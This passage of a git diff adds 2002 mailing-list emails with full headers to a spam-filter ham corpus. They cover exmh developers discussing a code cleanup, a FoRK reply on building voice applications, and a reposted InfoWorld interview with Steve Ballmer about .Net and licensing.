eyes is looking at the code, and I hope I +> left some clues in the comments about why things are being done. If we +> do change things, or remove calls, we may want to leave a note that says +> +> # Used to be a Scan_Folder call here, but it was removed for the +> # following reason... + +Unfortunately, there are few comments in this part of the code. I haven't +been helping that situation much, although there are some comments in the new +sequence stuff that I wrote. I have cleaned up a bit of code so that +it's a little more clear what it's doing and a little less delicate. I also +gratuitously renamed some variables for clarity. + +My last few bug fixes were purely problems that I created in my own +patches and I can't blame anyone but myself. + +As I'm avoiding real work, I may clean up a little bit more (and probably +break a few things as well ;-). + +Chris + +-- +Chris Garrigues http://www.DeepEddy.Com/~cwg/ +virCIO http://www.virCIO.Com +716 Congress, Suite 200 +Austin, TX 78701 +1 512 374 0500 + + World War III: The Wrong-Doers Vs. the Evil-Doers. + + + + +--==_Exmh_724731589P +Content-Type: application/pgp-signature + +-----BEGIN PGP SIGNATURE----- +Version: GnuPG v1.0.6 (GNU/Linux) +Comment: Exmh version 2.2_20000822 06/23/2000 + +iD8DBQE9PFUbK9b4h5R0IUIRAk/OAJ90HUYnMoAhyeIUTuHB7FnwZxl/LQCeIHH7 +A+FDAIyH8bUPCObpEiimZMg= +=8FKS +-----END PGP SIGNATURE----- + +--==_Exmh_724731589P-- + + + +_______________________________________________ +Exmh-workers mailing list +Exmh-workers@redhat.com +https://listman.redhat.com/mailman/listinfo/exmh-workers + + diff --git a/bayes/spamham/easy_ham_2/00690.dd9bb1e5bc14e171cfc67e0ab3ac850f b/bayes/spamham/easy_ham_2/00690.dd9bb1e5bc14e171cfc67e0ab3ac850f new file mode 100644 index 0000000..bfa3708 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00690.dd9bb1e5bc14e171cfc67e0ab3ac850f @@ -0,0 +1,142 @@ +From exmh-workers-admin@redhat.com Mon Jul 22 22:46:01 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id B4737440C8 + for ; Mon, 22 Jul 2002 17:46:00 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 22 Jul 2002 22:46:00 +0100 (IST) +Received: from listman.spamassassin.taint.org (listman.spamassassin.taint.org [66.187.233.211]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6MLiW401386 for + ; Mon, 22 Jul 2002 22:44:32 +0100 +Received: from listman.spamassassin.taint.org (localhost.localdomain [127.0.0.1]) by + listman.redhat.com (Postfix) with ESMTP id 086A43F9BB; Mon, 22 Jul 2002 + 17:40:04 -0400 (EDT) +Delivered-To: exmh-workers@listman.spamassassin.taint.org +Received: from int-mx1.corp.spamassassin.taint.org (int-mx1.corp.spamassassin.taint.org + [172.16.52.254]) by listman.redhat.com (Postfix) with ESMTP id B171B3F93C + for ; Mon, 22 Jul 2002 17:32:58 -0400 + (EDT) +Received: (from mail@localhost) by int-mx1.corp.spamassassin.taint.org (8.11.6/8.11.6) + id g6MLWx213200 for exmh-workers@listman.redhat.com; Mon, 22 Jul 2002 + 17:32:59 -0400 +Received: from mx1.spamassassin.taint.org (mx1.spamassassin.taint.org [172.16.48.31]) by + int-mx1.corp.redhat.com (8.11.6/8.11.6) with SMTP id g6MLWwR13196 for + ; Mon, 22 Jul 2002 17:32:58 -0400 +Received: from austin-jump.vircio.com + (IDENT:J9za5Dz4xkUw76rkDnoSfMp5d5TuY5UB@jump-austin.vircio.com + [192.12.3.99]) by mx1.redhat.com (8.11.6/8.11.6) with SMTP id g6MLLRs16910 + for ; Mon, 22 Jul 2002 17:21:27 -0400 +Received: (qmail 27383 invoked by uid 104); 22 Jul 2002 21:32:58 -0000 +Received: from cwg-exmh@DeepEddy.Com by localhost.localdomain with + qmail-scanner-0.90 (uvscan: v4.1.60/v4213. . Clean. Processed in 0.842216 + secs); 22/07/2002 16:32:57 +Received: from deepeddy.vircio.com (@[10.1.2.1]) (envelope-sender + ) by austin-jump.vircio.com (qmail-ldap-1.03) with + SMTP for ; 22 Jul 2002 21:32:57 -0000 +Received: (qmail 13572 invoked from network); 22 Jul 2002 21:32:53 -0000 +Received: from localhost (HELO deepeddy.vircio.com) + (?+pLzqKCsj+aActJA3EHH2mj2mJFTKBPh?@[127.0.0.1]) (envelope-sender + ) by localhost (qmail-ldap-1.03) with SMTP for + ; 22 Jul 2002 21:32:53 -0000 +X-Mailer: exmh version 2.5 07/13/2001 with nmh-1.0.4 +To: Anders Eriksson , exmh-workers@spamassassin.taint.org +Subject: Re: Another bug +In-Reply-To: <1027362794.8011.TMDA@deepeddy.vircio.com> +References: <20020722181516.9D292470D@tippex.localdomain> + <1027362794.8011.TMDA@deepeddy.vircio.com> +X-Url: http://www.DeepEddy.Com/~cwg +X-Image-Url: http://www.DeepEddy.Com/~cwg/chris.gif +MIME-Version: 1.0 +Content-Type: multipart/signed; + boundary="==_Exmh_834464772P"; + micalg=pgp-sha1; + protocol="application/pgp-signature" +Content-Transfer-Encoding: 7bit +Message-Id: <1027373573.13274.TMDA@deepeddy.vircio.com> +From: Chris Garrigues +X-Delivery-Agent: TMDA/0.57 +Reply-To: Chris Garrigues +X-Loop: exmh-workers@spamassassin.taint.org +Sender: exmh-workers-admin@spamassassin.taint.org +Errors-To: exmh-workers-admin@spamassassin.taint.org +X-Beenthere: exmh-workers@spamassassin.taint.org +X-Mailman-Version: 2.0.1 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , + +List-Id: Discussion list for EXMH developers +List-Unsubscribe: , + +List-Archive: +Date: Mon, 22 Jul 2002 16:32:50 -0500 + +--==_Exmh_834464772P +Content-Type: text/plain; charset=us-ascii + +> From: Chris Garrigues +> Date: Mon, 22 Jul 2002 13:33:13 -0500 +> +> > From: Anders Eriksson +> > Date: Mon, 22 Jul 2002 20:15:11 +0200 +> > +> > My feeling of this is that we really do not want to have a +> > Ftoc_ClearCurrent, but rather just a RescanLine and the caller had +> > better know the line or msgid. That routine shoud just put in the '+' +> > if the line/msg in question happened to be the cur msg. Thoughts? +> +> Intuitively, that sounds right to me. It does also call "tag remove", so +> you'll have to make sure that gets set correctly as well. +> +> I think any changes that make it behave more intuitively are a good thing even +> if they mean we have something else to fix. Of course, that attitude is why +> I've been fixing exmh bugs for 3 weeks. + +I just checked in a code cleanup which doesn't address this issue, but does +take a machete to code right around it. You ought to 'cvs update' and see if +your issue becomes any clearer with all the brush removed. + +My patch notes that 'msgid' and 'line' are redundant with one another and removes +one or the other from functions which takes both. The callers are then +changed to pass what the function expects. In the case of Msg_Change, the +'line' argument is removed and we only have the msgid argument. Ftoc_ClearCurrent +is now the first line of MsgChange. + +Chris + +-- +Chris Garrigues http://www.DeepEddy.Com/~cwg/ +virCIO http://www.virCIO.Com +716 Congress, Suite 200 +Austin, TX 78701 +1 512 374 0500 + + World War III: The Wrong-Doers Vs. the Evil-Doers. + + + + +--==_Exmh_834464772P +Content-Type: application/pgp-signature + +-----BEGIN PGP SIGNATURE----- +Version: GnuPG v1.0.6 (GNU/Linux) +Comment: Exmh version 2.2_20000822 06/23/2000 + +iD8DBQE9PHoCK9b4h5R0IUIRAl9kAJ9C/pnFLKlVYbRToLtffnXa+ffZJwCfahTx +BE9ZJXQ6LnbKyCuhuS3IJBg= +=aAkz +-----END PGP SIGNATURE----- + +--==_Exmh_834464772P-- + + + +_______________________________________________ +Exmh-workers mailing list +Exmh-workers@redhat.com +https://listman.redhat.com/mailman/listinfo/exmh-workers + + diff --git a/bayes/spamham/easy_ham_2/00691.434cbad49360cfdb01513f4855b6c30b b/bayes/spamham/easy_ham_2/00691.434cbad49360cfdb01513f4855b6c30b new file mode 100644 index 0000000..b56ede3 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00691.434cbad49360cfdb01513f4855b6c30b @@ -0,0 +1,95 @@ +From exmh-workers-admin@redhat.com Tue Jul 23 01:22:47 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 51066440C8 + for ; Mon, 22 Jul 2002 20:22:47 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 23 Jul 2002 01:22:47 +0100 (IST) +Received: from listman.spamassassin.taint.org (listman.spamassassin.taint.org [66.187.233.211]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6N0Ls410181 for + ; Tue, 23 Jul 2002 01:21:55 +0100 +Received: from listman.spamassassin.taint.org (localhost.localdomain [127.0.0.1]) by + listman.redhat.com (Postfix) with ESMTP id 0CA5E3F15A; Mon, 22 Jul 2002 + 20:21:05 -0400 (EDT) +Delivered-To: exmh-workers@listman.spamassassin.taint.org +Received: from int-mx1.corp.spamassassin.taint.org (int-mx1.corp.spamassassin.taint.org + [172.16.52.254]) by listman.redhat.com (Postfix) with ESMTP id 712653F293 + for ; Mon, 22 Jul 2002 20:20:47 -0400 + (EDT) +Received: (from mail@localhost) by int-mx1.corp.spamassassin.taint.org (8.11.6/8.11.6) + id g6N0Klc07084 for exmh-workers@listman.redhat.com; Mon, 22 Jul 2002 + 20:20:47 -0400 +Received: from mx1.spamassassin.taint.org (mx1.spamassassin.taint.org [172.16.48.31]) by + int-mx1.corp.redhat.com (8.11.6/8.11.6) with SMTP id g6N0KlR07080 for + ; Mon, 22 Jul 2002 20:20:47 -0400 +Received: from tippex.localdomain (h189n1fls22o974.telia.com + [213.64.79.189]) by mx1.redhat.com (8.11.6/8.11.6) with SMTP id + g6N09Fs11986 for ; Mon, 22 Jul 2002 20:09:15 + -0400 +Received: by tippex.localdomain (Postfix, from userid 500) id 2624D470D; + Tue, 23 Jul 2002 02:20:41 +0200 (CEST) +Received: from tippex.localdomain (localhost [127.0.0.1]) by + tippex.localdomain (Postfix) with ESMTP id 0B9D6470C; Tue, 23 Jul 2002 + 02:20:41 +0200 (CEST) +X-Mailer: exmh version 2.5_20020723 01/15/2001 with nmh-1.0.4 +To: Chris Garrigues +Cc: exmh-workers@spamassassin.taint.org +Subject: Re: Another bug +In-Reply-To: Message from Chris Garrigues + of + "Mon, 22 Jul 2002 16:32:50 CDT." + <1027373573.13274.TMDA@deepeddy.vircio.com> +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +From: Anders Eriksson +Message-Id: <20020723002041.2624D470D@tippex.localdomain> +X-Loop: exmh-workers@spamassassin.taint.org +Sender: exmh-workers-admin@spamassassin.taint.org +Errors-To: exmh-workers-admin@spamassassin.taint.org +X-Beenthere: exmh-workers@spamassassin.taint.org +X-Mailman-Version: 2.0.1 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , + +List-Id: Discussion list for EXMH developers +List-Unsubscribe: , + +List-Archive: +Date: Tue, 23 Jul 2002 02:20:35 +0200 + + +> > > My feeling of this is that we really do not want to have a +> > > Ftoc_ClearCurrent, but rather just a RescanLine and the caller had +> > > better know the line or msgid. That routine shoud just put in the '+' +> > > if the line/msg in question happened to be the cur msg. Thoughts? +> > +> > Intuitively, that sounds right to me. It does also call "tag remove", so +> > you'll have to make sure that gets set correctly as well. +> > +> > I think any changes that make it behave more intuitively are a good thing even +> > if they mean we have something else to fix. Of course, that attitude is why +> > I've been fixing exmh bugs for 3 weeks. +> +I have a version that's working now. I'll try it a couple of days and +check it during daylight. Basically I added an agument to +ClearCurrent and updated all callers to slap in $ftoc(curLine). I +also flipped the order in Msg_Change to ClearCurrent $prevline after +the Mh_SetCur. For some reason it barfs when Marking many messages +Unread. I'll check that tomorrow. + +G'night. + +/Anders + + + +_______________________________________________ +Exmh-workers mailing list +Exmh-workers@redhat.com +https://listman.redhat.com/mailman/listinfo/exmh-workers + + diff --git a/bayes/spamham/easy_ham_2/00692.69f326feb3c0f97fe44f1af81f51db19 b/bayes/spamham/easy_ham_2/00692.69f326feb3c0f97fe44f1af81f51db19 new file mode 100644 index 0000000..d2038f7 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00692.69f326feb3c0f97fe44f1af81f51db19 @@ -0,0 +1,117 @@ +From fork-admin@xent.com Mon Jul 22 19:50:44 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id AF797440C8 + for ; Mon, 22 Jul 2002 14:50:42 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 22 Jul 2002 19:50:42 +0100 (IST) +Received: from webnote.net (mail.webnote.net [193.120.211.219]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6MHD5432336 for + ; Mon, 22 Jul 2002 18:13:05 +0100 +Received: from xent.com ([64.161.22.236]) by webnote.net (8.9.3/8.9.3) + with ESMTP id SAA00836 for ; Mon, 22 Jul 2002 18:05:07 + +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id A758629409D; Mon, 22 Jul 2002 09:55:11 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from axiom.braindust.com (axiom.braindust.com [64.69.71.79]) by + xent.com (Postfix) with ESMTP id 0A8DC294098 for ; + Mon, 22 Jul 2002 09:54:03 -0700 (PDT) +X-Envelope-To: fork@spamassassin.taint.org +Received: from localhost (muses.westel.com [204.244.110.7]) (authenticated + (0 bits)) by axiom.braindust.com (8.12.5/8.11.6) with ESMTP id + g6MH3Tds008943 (using TLSv1/SSLv3 with cipher EDH-RSA-DES-CBC3-SHA (168 + bits) verified NO); Mon, 22 Jul 2002 10:03:29 -0700 +Subject: Re: voice applications - how does joe-sixpack build one? +Content-Type: text/plain; charset=US-ASCII; format=flowed +MIME-Version: 1.0 (Apple Message framework v482) +Cc: +To: "Mr. FoRK" +From: Ian Andrew Bell +In-Reply-To: +Message-Id: +Content-Transfer-Encoding: 7bit +X-Mailer: Apple Mail (2.482) +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Mon, 22 Jul 2002 10:02:58 -0700 + + +Look at my friend Jonathan's company, VOXEO. Unless you're going +to run out and build a platform that executes Voice XML code and +can support IMAP etc. then the easiest way to do this is to +leverage VOXEO's service. You can start building on it for free +and you will pay > $0.10 per minute for the pleasure of +using/testing the service. + +http://www.voxeo.com + +If you have about $50K to throw at the project then you can look at +NUANCE, which has a platform that combines VoiceXML/VXML, Speech +Reco, and the L&H speech synthesize, which will allow you to have +your email read to you by Stephen Hawking. + +TellMe & BeVocal have off-the-shelf services that do this, though, +but from my testing, they suck. + +If I were to build this I'd spec a lightweight IMAP client and +VoiceXML browser and dump them on VOXEO. + +However, you'll find this to be extremely slow and frustrating. +Better to us a screen phone with a WAP client. + +-Ian. + +On Wednesday, July 17, 2002, at 09:53 PM, Mr. FoRK wrote: + + +> I was talking to a friend today about voice applications - using a +> phone to +> get mail or info (other things are possible, but that's what we talked +> about). +> He's running a mail server called X-Mail (or something) and it has +> a Web UI +> written with some PHP pages. I made the comment that rending an inbox +> listing with VoxML (or whatever the latest thing is) would be +> trivial & with +> a little playing around you could do a simple voice app to +> monitor & admin +> the mail server, or you could actually get/send mail this way. +> +> The hard part is hooking up to the phone system - how do I get a +> phone to +> hit a 'voice app server' that hits the HTTP+VOX enabled mail server? +> He'd want to give this back as open source, but there is no +> corresponding +> open source voice server - or is there? +> +> I've looked at BeVocal - it seems that Talk2 is toast - does +> anybody know +> how else this could be done? +> +> I'd love to see a digital answering machine with some speech +> recognition +> built-in that would proxy into a personal computer for contact +> lists & mail +> & whatnot. I could call /my/ home phone and bounce out to the web or do +> whatever, without needing a publicly available voice server. +> +> +> http://xent.com/mailman/listinfo/fork + + +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/00693.2183b91fb14b93bdfaab337b915c98bb b/bayes/spamham/easy_ham_2/00693.2183b91fb14b93bdfaab337b915c98bb new file mode 100644 index 0000000..1dd5f55 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00693.2183b91fb14b93bdfaab337b915c98bb @@ -0,0 +1,485 @@ +From fork-admin@xent.com Tue Jul 23 06:05:37 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 25666440C8 + for ; Tue, 23 Jul 2002 01:05:36 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 23 Jul 2002 06:05:36 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g6N52s427580 for ; + Tue, 23 Jul 2002 06:02:56 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id 4F4BC2940A8; Mon, 22 Jul 2002 21:52:05 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: by xent.com (Postfix, from userid 1002) id 3CB572940A5; + Mon, 22 Jul 2002 21:51:44 -0700 (PDT) +To: FoRK@xent.com +Subject: [Infoworld] Ballmer describes what a Chief Software Architect does +Message-Id: <20020723045144.3CB572940A5@xent.com> +From: adam@xent.com (Adam Rifkin) +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Mon, 22 Jul 2002 21:51:44 -0700 (PDT) + +Rohit was wondering what Microsoft's definition of a Chief Software +Architect is (and, consequently, what Microsoft thinks is a roadmap). +Here you go, from Mr. Ballmer to Mr. Gillmor to Mr. FoRK... +Architecture is war; love 'em or hate 'em, at least Microsoft +understands that: as Chief SA, BillG oversees all product strategy. + +"There are two things a road map can be. One is just a piece of paper +that tells what everyone is doing and records a bunch of bottom-up +plans. Or it can be something where we impose more broadly our vision +from the top. We are not going to try to get everything shared. ... +That's a path for getting everything stopped up. But at the same time we +are trying to take the top four or five things we are trying to do in +the Longhorn wave, Yukon wave, or the .Net wave and really have enough +time to have some cross-cutting discussions about how we make that happen." + +"Bill [Gates] is dedicated full-time to being chief software +architect. He also happens to be chairman of the company, but he spends +most of his time being chief software architect. We have a body now that +meets every month -- the SLTT [Senior Leadership Technical Team], +basically the top people involved in the product-creating strategy -- +and we present and discuss the issues. Bill is driving a process for +each of these waves. For instance, [he will ask] what are the +cross-cutting scenarios that I want, and then [he will] get all the +right product groups together and bring these things in front of the SLTT." + +"People talk about what it takes to be a good manager, and people talk +about being a good coach and getting people to like you. In a large +organization those things are important, but at a certain level, ... the +most important thing you can do for your people to make them better is +to give them a framework where they can work in harmony with the other +people in the company. And from Bill's perspective, [this framework] is +the technical road map and the SLTT process; it is the scenarios. From +my perspective, it is the P&L [profit and loss] structure and the +multiple businesses because, given how we work, giving people a +framework that gets them to make the whole bigger than the sum of the +parts will mean we have better offerings." + + + +http://www.infoworld.com/articles/pl/xml/02/07/22/020722plballmer.xml + +Ballmer in charge +July 18, 2002 1:01 pm PT + +NO ONE KNOWS better than Microsoft CEO Steve Ballmer that, as the .Net +platform evolves, the success of Microsoft depends on how well the +company coordinates its tool, server, and client strategies and how well +it communicates that vision. In an interview with InfoWorld Test Center +Director Steve Gillmor and InfoWorld Editor at Large Ed Scannell at +Microsoft Fusion 2002, Ballmer discussed the progress of .Net, changes +in the company's approach to product development, and Microsoft's +efforts to simplify product licensing and inspire trust in customers and +partners. + +> Last time we talked was two years ago, at the beginning of the .Net +> era. So where are we now in the .Net evolution? + +Let me start by talking about where I think we are in the XML revolution +first, and then [I will] talk about where we are with .Net. I believe +that the IT industry collectively decided over the last three or four +years that the world was going to be replatformed with XML as the key +foundation. It's not like anyone ever got together to decide this, but +it's like magnetic north, where it's been clearly indicated that +everyone is rallying around the concept. But I think the degree to which +[XML] is pervasive might still be underestimated. A lot of partners, +even at this conference, see it as b-to-b for big companies. But it is +really about the way software in general is designed. It is all about +the way security should work. Management -- everything is changed. + +So to answer your direct question, two years ago I might have said the +jury is still out about whether [XML] was going to happen. We were +questioning if it was going to be a legitimate competitor to Java. But +now the world has decided to embrace [XML] as the basis for the next +generation of technology. And there are a lot of benefits that come with +it. Could it have been something other than XML? Sure it could have. It +wasn't the specific technical implementation; it is merely the fact that +it comes out of Internet standards. It has deeper semantic abilities. It +is all about interoperability and connection. + +So in that context, where are we with .Net? I'll say a couple +things. No. 1, I would say we have some momentum in the market. We have +customers using the .Net product line, like Merrill [Lynch], Credit +Suisse, Marks & Spencer, CitiBank, and a variety of others. People who +are doing some things for real. I feel like the degree we are out front +is in some ways smaller and in some ways larger. + +> How so? + +Smaller in the sense that everyone is talking the XML talk, even Sun; +bigger in the execution sense: We've delivered. We delivered the first +batch of products that really were built XML to the core -- Visual +Studio .Net and BizTalk Server -- and we are getting traction. So I feel +good about where our execution is relative to everyone else. That is not +to say that other people aren't doing some reasonable bolt-on XML +support for the stuff they have. + +> You have some heavy lifting to do to convince your customers and +> partners to follow along. What do you have to do to set the standard +> for adoption and upgrading to this next generation? + +We have to present the picture that we are behaving consistently within +the framework of focusing on customer issues and customer satisfaction +and trustworthy computing, which we have articulated. Now there are some +things I would have done differently, in 20-20 hindsight. I would have +increased the focus on not just security but deployment, because a lot +of the security problems are actually deployment problems. We have the +fix, but sometimes we can't get the tools in their hands to deploy those +fixes fast enough. Licensing -- I know I would have given more time, and +there are better ways to plan around the kinds of changes we made. We +are still going to have to get smart about the full ramifications. + +> Do you expect any changes to be made between now and July 31 to +> Licensing 6.0? There is a lot of push-back on this. + +No, there is nothing that will happen between now and July 31. And we +will continue to learn over time what we need to do to earn our +customers' trust and earn their business. I think many of the people who +are pushing back really don't even know the new terms. + +> Isn't that your fault for not educating them? + +Yes, it is our fault. But you meet with plenty of customers whose +companies already have licenses, and they are saying, 'I think there's a +problem.' I don't deny there are some problems. I am sure there are some +issues we will have to work on over time. + +After July 31 we are going to see what the real issues are. I was +talking to a customer at the show who was saying he thought there would +be a problem, and I told him that we just completed a deal with his +company and that he is now universally licensed and that total costs to +his company are now lower than they were before. And he said, 'Oh really?' + +So we'll go through July 31. We have a lot of customers who have signed +licenses, and I am sure we are going to find some issues. My bigger +concerns today are probably not in the larger accounts, but there may be +some issues we need to address among the smaller-size companies, and we will. + +> How does the .Net initiative change the way in-house client and server +> developers work together? + +What we are trying to do for the health of .Net and the health of the +company and the sanity of the people who work there and the quality of +the products we produce is to have a more orchestrated, ¸ber-road map +of where we are going. + +Now there are two things a road map can be. One is just a piece of paper +that tells what everyone is doing and records a bunch of bottom-up +plans. Or it can be something where we impose more broadly our vision +from the top. We are not going to try to get everything shared. ... +That's a path for getting everything stopped up. But at the same time we +are trying to take the top four or five things we are trying to do in +the Longhorn wave, Yukon wave, or the .Net wave and really have enough +time to have some cross-cutting discussions about how we make that happen. + +Bill [Gates] is dedicated full-time to being chief software +architect. He also happens to be chairman of the company, but he spends +most of his time being chief software architect. We have a body now that +meets every month -- the SLTT [Senior Leadership Technical Team], +basically the top people involved in the product-creating strategy -- +and we present and discuss the issues. Bill is driving a process for +each of these waves. For instance, [he will ask] what are the +cross-cutting scenarios that I want, and then [he will] get all the +right product groups together and bring these things in front of the SLTT. + +People talk about what it takes to be a good manager, and people talk +about being a good coach and getting people to like you. In a large +organization those things are important, but at a certain level, ... the +most important thing you can do for your people to make them better is +to give them a framework where they can work in harmony with the other +people in the company. And from Bill's perspective, [this framework] is +the technical road map and the SLTT process; it is the scenarios. From +my perspective, it is the P&L [profit and loss] structure and the +multiple businesses because, given how we work, giving people a +framework that gets them to make the whole bigger than the sum of the +parts will mean we have better offerings. + +> It seems the scenarios construct is really working for you. Is this an +> evolution of the solutions approach? + +I would say it is a pretty direct extrapolation from the solutions +stuff, only I think we are just getting a little more experience. I +think we use the word scenarios more often and solutions less, because +solution sounds more like a fixed thing. At the end of the day, most of +the things we do are customizable and programmable, and so people make +them into the solution they want. But they are still scenarios. What +will software deployment look like? Well, that is a scenario because it +involves Windows, Office, and other applications. + +We are working hard to make sure the whole is bigger than the sum of the +parts. That's not to say people are always comfortable with this. I +can't even say we will do it perfectly. All we have to do is do it a lot +better than we had been doing it. I think that would be a big step +forward for the customers. + +> Will this approach cut down on some of the technology civil wars +> Microsoft has had in the past involving who is going to gain control of +> a project? This seems to be a very democratic approach to development. + +I would not use the word democracy to describe it. People have to come +together and ultimately make some decisions. This is not a voting +process here, the agenda of what we think is important. We get a lot of +input. [But] once it is decided, people don't get to vote with their feet. + +We try to make a quantum leap here in terms of our ability to improve +pulling together all the pieces. Our customers want us to do +that. Simplifying concepts by unifying them. The customers don't say +they want us to do that, but when we do do that, they go, 'Ahhh, I get +it. That makes sense.' + +I don't want to go to six more meetings where people say, 'Is your +workflow strategy BizTalk?' ... Or 'What's your Office workflow +strategy?' Or 'Why is synchronization in some ways better for e-mail and +Outlook than it is for file folders and Web pages?' + +To get that sort of synchronization sometimes -- to get that high-level +road map to work -- you have to build something we don't have today. So +we have been talking about unifying storage. And so the best way to get +all this stuff to work is to get them all to work just one way. Then you +just keep tuning one set of parameters instead of having a thousand +flowers blooming. + +> In your Fusion keynote today, you talked about who your competitors +> are, and it was the usual suspects. But one you didn't mention is +> yourself. You are competing against the last generation of your technology. + +Always. Given that our stuff doesn't wear out or break down -- you can +question whether it breaks or not [Ballmer grins] -- but it doesn't +break down like machinery does. To get anyone to do something new, we +have to have something interesting and innovative. + +People think, OK, should we just do more upgrades or try to sell more +new product? We decided that users like us to do a level of systems +integration so they don't have to get involved in that. So take +Sharepoint Team Services, which we put in Office. We could have sold +Team Services as a separate product, and we could have introduced a new +SKU [stock keeping unit]. We could have decided if it should work down +level with the old Office or just the new version of Office, and we +could do that with real-time communications. But we tend to like to put +things together, integrate them, and then release batches?1202?-- which +are then 'upgrades' -- as a form of introducing our new innovation. But +no matter how you do it, because our stuff does not wear out, we have to +convince people that some idea we have is better or more powerful than +the older idea we had. + +And there are two aspects of doing that. One aspect is, on a given +product or upgrade release, does that make sense? Or do we convince you +that over an nyear period of time we will have enough innovation that +you will want to be licensed for that innovation. And this is part of +this whole licensing discussion we are having. + +We moved to the new licensing for two reasons, I would say. No. 1, we +wanted to simplify our licensing. When we look back a year from now, I +guarantee you that where we are now is simpler than where we +were. Nothing is simpler during a transition because they are learning +the new and are more familiar with the old, but I think people will +eventually realize this is simpler. Our licensing got pretty complicated +over the years, and some people came to not understand it all. + +The other issue is [the timing of delivering] our innovation. I don't +want to have a lot of rough questions [from customers]. So when we do +have new ideas, it's like, OK, should we put it in this upgrade or that +one or just have a stream of stuff that only our best customers have +access to under the terms of their contract? I think in the long run we +have a better chance of satisfying them with the latter than with +hitting them with six different upgrades. I am a fan of [letting] the +customer decide, OK, I want that piece or this piece. But they are +licensed for all of it. So those are the two things we sought to do. + +> That gets back to the trust issue, where if you front-load it, that's +> the big, lumpy upgrade; and if you back-load it with the vision, the +> .Net 2003 servers, you have a long gap in the middle where you have to +> sell into an untrusting audience. + +The truth is, we need to be better at both. There are some things you +can only do big and lumpy, like a new file system. It's not like some +sort of small user feature; if you change the file system, then the +storage, the backup, probaby those things are going to change. Probably +the shell ought to change.The applications ... a lot of things are going +to change. Can you call that lumpy? Or you can put out four new features +in PowerPoint, sure -- that would not look lumpy to users. + +I think we have to build trust in the model, and we are going to have to +deliver more over time. It will not come overnight. People will have to +see that we do a few things, ... that not all of our innovation is +lumpy, that more of it comes evenly and steadily. People develop a +confidence and faith; they like both aspects of the model. Over time, +our support needs to become more intimately involved in that story. + +We know that, but we don't know exactly what that means yet. And this +whole notion of software as a service -- this is not a licensing or +business discussion. It's how does software get rearchitected in the +world of the Internet? I mean, how many software products are +fundamentally different because of the Internet? Not many. Probably the +anti-virus guys keep up the best. They are always feeding new virus +support in. I asked the audience [at Fusion] how many use Windows +Update. Now that's a small piece of software, but it is big. That's the +consumer market; we've got to get that to really purr in the corporate market. + +> The lack of broadband build-out and adoption seems to be holding up +> the ability for users to take advantage of some new services you're +> talking about. When Bill [Gates] invested in Comcast cable, it +> triggered the Baby Bells to get on board with DSL. What are you doing +> now to deal with that issue? + +The No. 1 thing is, we have to make software that is so compelling that +people will start saying, 'Well, of course I am going to get broadband.' + +> And 802.11 is one of those compelling features? + +Yes, it is. I was in a hotel in Sun Valley, [Utah], this week that was +not wired. So I turned on my PC, and XP tells me there is a wireless +network available. So I connect to something called Mountaineer. Well, I +don't know what that is. But I have a VPN into Microsoft; it worked. I +don't know whose broadband I used. I didn't see it in Bill's room. I +called him up and said, 'Hey, come over to my room.' So soon everyone is +there and connecting to the Internet through my room. + +We have to support all the modalities, whether it is GPRS [General +Packet Radio Service] or 802.11. We have to make it easy to provision +from a software perspective for things that go on with DSL [and] cable +modems. ... And the software has to want a broadband link. There are not +many things you do where you say I really care about the performance. If +I am downloading PowerPoint files, then I want broadband. So when you +can do things with speed that you otherwise can't do without speed, that +is going to put a lot of pressure on the broadband community. + +That's the weird answer. The more normal answer is, yeah, isn't it +awful: There is not enough broadband, and the prices they charge ... . I +agree with all that. If you look at what happened in Japan recently, +there was a big drop -- it is now $25 a month for DSL. Vroom. They have +gone from almost no DSL connections a year ago to 1.5 [million] or 1.8 +million [subscribers]. + +> So how do we make that happen in this country? + +I think that is beyond us. If there is enough 